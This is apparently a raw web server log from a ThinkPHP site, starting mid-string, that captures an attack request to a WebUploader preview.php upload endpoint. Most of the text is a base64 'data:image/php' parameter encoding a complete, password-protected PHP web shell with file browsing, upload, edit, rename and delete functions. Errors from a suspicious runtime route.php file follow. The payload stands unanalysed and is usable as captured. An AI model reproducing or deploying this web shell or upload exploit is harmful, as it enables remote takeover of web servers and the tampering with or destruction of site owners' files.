TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'static' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:29:49+08:00 ] 119.42.146.234 POST 51tianwei.com/Data/editor/webuploader/0.1.15/server/preview.php [运行时间:0.002994s] [吞吐率:334.02req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Data', 2 => 'editor', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3R